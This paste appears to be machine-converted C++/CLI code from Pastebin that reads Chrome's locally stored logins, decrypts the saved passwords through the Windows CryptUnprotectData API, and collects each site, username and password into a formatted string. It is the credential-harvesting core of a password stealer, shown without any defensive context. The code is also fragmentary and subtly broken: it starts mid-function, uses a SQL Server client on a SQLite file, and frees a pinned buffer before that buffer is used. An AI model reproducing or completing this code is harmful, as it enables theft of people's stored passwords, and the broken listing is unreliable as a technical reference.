Advertisement
Guest User

Untitled

a guest
Aug 7th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.43 KB | None | 0 0
  1. {converted by Instant C++:
  2. System::String ^cpass = System::String::empty;
  3. System::String ^datapath = Environment::GetFolderPath(Environment::SpecialFolder::LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data";
  4. if (File::Exists(datapath))
  5. {
  6. SqlClient::SqlConnection ^SQLconnect = gcnew SqlClient::SqlConnection();
  7. SqlClient::SqlCommand ^SQLcommand = nullptr;
  8. SQLconnect->ConnectionString = "Data Source=" + datapath + ";";
  9. SQLconnect->Open();
  10. SQLcommand = SQLconnect->CreateCommand();
  11. SQLcommand->CommandText = "SELECT * FROM logins";
  12. SqlClient::SqlDataReader ^SQLreader = SQLcommand->ExecuteReader();
  13. System::String ^host = nullptr;
  14. System::String ^user = nullptr;
  15. System::String ^pass = nullptr;
  16. while (SQLreader->Read())
  17. {
  18. host = SQLreader["origin_url"];
  19. user = SQLreader["username_value"];
  20. pass = Decrypt(SQLreader["password_value"]);
  21. if ((user != "") & (pass != ""))
  22. {
  23. pss->Text = host;
  24. cpass = ("=============================" + System::Environment::NewLine + "Host: " + host + System::Environment::NewLine + "Username: " + user + System::Environment::NewLine + "Password: " + pass + System::Environment::NewLine + "=============================" + System::Environment::NewLine + " ");
  25. }
  26. }
  27. delete SQLcommand;
  28. SQLconnect->Close();
  29. }
  30.  
  31. }
  32. private:
  33. [DllImport("Crypt32.dll", SetLastError=true, CharSet=System::Runtime::InteropServices::CharSet::Auto)]
  34. static bool CryptUnprotectData(DATA_BLOB %pDataIn, System::String ^szDataDescr, DATA_BLOB %pOptionalEntropy, IntPtr pvReserved, CRYPTPROTECT_PROMPTSTRUCT %pPromptStruct, int dwFlags, DATA_BLOB %pDataOut);
  35. [Flags()]
  36. private enum class CryptProtectPromptFlags: int
  37. {
  38. CRYPTPROTECT_PROMPT_ON_UNPROTECT = 0X1,
  39. CRYPTPROTECT_PROMPT_ON_PROTECT = 0X2
  40. };
  41. [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)]
  42. private value class CRYPTPROTECT_PROMPTSTRUCT
  43. {
  44. public:
  45. int cbSize;
  46. CryptProtectPromptFlags dwPromptFlags;
  47. IntPtr hwndApp;
  48. System::String ^szPrompt;
  49. };
  50. [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)]
  51. private value class DATA_BLOB
  52. {
  53. public:
  54. int cbData;
  55. IntPtr pbData;
  56. };
  57. public:
  58. static System::String ^Decrypt(array<System::Byte> ^Datas)
  59. {
  60. DATA_BLOB inj = DATA_BLOB();
  61. DATA_BLOB Ors = DATA_BLOB();
  62. GCHandle Ghandle = GCHandle::Alloc(Datas, GCHandleType::Pinned);
  63. inj.pbData = Ghandle.AddrOfPinnedObject();
  64. inj.cbData = Datas->Length;
  65. Ghandle.Free();
  66. DATA_BLOB temppOptionalEntropy1 = DATA_BLOB();
  67. CRYPTPROTECT_PROMPTSTRUCT temppPromptStruct2 = CRYPTPROTECT_PROMPTSTRUCT();
  68. CryptUnprotectData(inj, nullptr, temppOptionalEntropy1, System::IntPtr::Zero, temppPromptStruct2, 0, Ors);
  69. array<System::Byte> ^Returned = gcnew array<System::Byte>(Ors.cbData + 1);
  70. Marshal::Copy(Ors.pbData, Returned, 0, Ors.cbData);
  71. System::String ^TheString = Encoding::Default->GetString(Returned);
  72. return TheString->Substring(0, TheString->Length - 1);
  73. }
  74. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement